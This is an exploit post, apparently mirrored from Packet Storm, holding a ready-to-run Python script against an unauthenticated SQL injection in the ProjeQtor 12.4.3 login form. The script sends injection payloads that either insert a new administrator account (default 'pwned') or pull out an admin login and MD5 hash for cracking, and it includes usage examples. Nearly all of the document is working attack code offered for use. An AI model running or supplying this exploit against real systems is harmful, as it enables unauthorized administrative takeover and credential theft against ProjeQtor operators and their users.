Share
## https://sploitus.com/exploit?id=PACKETSTORM:222884
==================================================================================================================================
| # Title : ProjeQtor 12.4.3 Unauthenticated SQL Injection |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://www.projeqtor.com/en/ |
==================================================================================================================================
[+] Summary : This Python script automates exploitation of an SQL injection vulnerability in a ProjeQtor login interface
[+] POC :
#!/usr/bin/env python3
import requests
import sys
import argparse
import re
from urllib.parse import urljoin
try:
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
except ImportError:
pass
PAYLOAD_CREATE_ADMIN = (
"admin' ; INSERT INTO resource (name, login, password, profile) "
"VALUES ('{username}', '{username}', MD5('{password}'), 1) -- "
)
PAYLOAD_EXTRACT_ADMIN = (
"admin' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,login,password,19,20,21,22 "
"FROM resource WHERE profile=1 AND login IS NOT NULL LIMIT 1 -- "
)
def find_login_endpoint(base_url, session, proxy):
"""Try common login paths"""
paths = ["/login.php", "/projeqtor/login.php", "/index.php/login", "/login"]
headers = {"User-Agent": "Mozilla/5.0"}
for path in paths:
test_url = urljoin(base_url, path)
try:
resp = session.get(test_url, headers=headers, proxies=proxy, verify=False, timeout=5)
if resp.status_code == 200 and ("login" in resp.text.lower() or "password" in resp.text.lower()):
return test_url
except:
continue
return urljoin(base_url, "/login.php") # default guess
def create_admin(target_url, username, password, proxy=None):
"""Create a new administrator account"""
session = requests.Session()
proxies = {"http": proxy, "https": proxy} if proxy else None
login_url = find_login_endpoint(target_url, session, proxies)
print(f"[+] Using login endpoint: {login_url}")
payload = PAYLOAD_CREATE_ADMIN.format(username=username, password=password)
data = {
"login": payload,
"password": "anything",
"submit": "1"
}
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"}
try:
print(f"[+] Sending CREATE ADMIN payload ...")
resp = session.post(login_url, data=data, headers=headers, proxies=proxies, verify=False, timeout=15)
print(f"[+] HTTP Status: {resp.status_code}")
error_patterns = ["SQL syntax", "mysql_fetch", "You have an error", "Warning:"]
for pattern in error_patterns:
if pattern in resp.text:
print(f"[!] SQL error detected: {pattern}")
break
else:
print("[+] No SQL error returned โ injection may have succeeded.")
print(f"\n[+] New admin user created (if injection worked):")
print(f" Username: {username}")
print(f" Password: {password}")
print(f" Login URL: {login_url}")
return True
except Exception as e:
print(f"[-] Error: {e}")
return False
def extract_admin_creds(target_url, proxy=None):
"""Extract login and MD5 password hash of first admin user"""
session = requests.Session()
proxies = {"http": proxy, "https": proxy} if proxy else None
login_url = find_login_endpoint(target_url, session, proxies)
print(f"[+] Using login endpoint: {login_url}")
data = {
"login": PAYLOAD_EXTRACT_ADMIN,
"password": "anything",
"submit": "1"
}
headers = {"User-Agent": "Mozilla/5.0"}
try:
print("[+] Sending EXTRACT ADMIN payload ...")
resp = session.post(login_url, data=data, headers=headers, proxies=proxies, verify=False, timeout=15)
patterns = [
r'login["\']?\s*[:=]\s*["\']([a-zA-Z0-9_@.-]+)["\'].*?password["\']?\s*[:=]\s*["\']([a-f0-9]{32})',
r'([a-zA-Z0-9_@.-]+).*?([a-f0-9]{32})',
]
for pattern in patterns:
matches = re.findall(pattern, resp.text, re.DOTALL | re.IGNORECASE)
if matches:
for match in matches:
login = match[0] if len(match) > 0 else "unknown"
pwd_hash = match[1] if len(match) > 1 else "unknown"
print(f"\n[+] Extracted admin credentials:")
print(f" Login : {login}")
print(f" MD5 Hash : {pwd_hash}")
if len(pwd_hash) == 32:
print(f" (Hash can be cracked with e.g. hashcat -m 0)")
return True
if "resource" in resp.text and "@" in resp.text:
print("[+] Possible data leak found. Examine response manually.")
print(resp.text[:1000])
return True
else:
print("[-] No admin credentials extracted in response.")
return False
except Exception as e:
print(f"[-] Error: {e}")
return False
def main():
parser = argparse.ArgumentParser(
description="CVE-2026-41462 - ProjeQtor Unauthenticated SQL Injection (Unified Exploit)",
epilog="Examples:\n"
" python3 exploit.py -u http://target.com --create-admin\n"
" python3 exploit.py -u http://target.com --extract-creds\n"
" python3 exploit.py -u http://target.com --create-admin --username myuser --password mypass"
)
parser.add_argument("-u", "--url", required=True, help="Target base URL (e.g. http://target.com)")
parser.add_argument("--create-admin", action="store_true", help="Create a new admin account")
parser.add_argument("--extract-creds", action="store_true", help="Extrate existing admin credentials (MD5 hash)")
parser.add_argument("--username", default="pwned", help="Username for new admin (default: pwned)")
parser.add_argument("--password", default="Pwned123!", help="Password for new admin (default: Pwned123!)")
parser.add_argument("--proxy", help="Proxy (e.g. http://127.0.0.1:8080)")
if len(sys.argv) == 1:
parser.print_help()
sys.exit(1)
args = parser.parse_args()
target = args.url.rstrip("/")
print("=" * 60)
print("CVE-2026-41462 - ProjeQtor Unauthenticated SQL Injection")
print("Target:", target)
print("=" * 60)
if args.create_admin:
create_admin(target, args.username, args.password, args.proxy)
elif args.extract_creds:
extract_admin_creds(target, args.proxy)
else:
print("[!] No action selected. Use --create-admin or --extract-creds")
parser.print_help()
if __name__ == "__main__":
main()
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================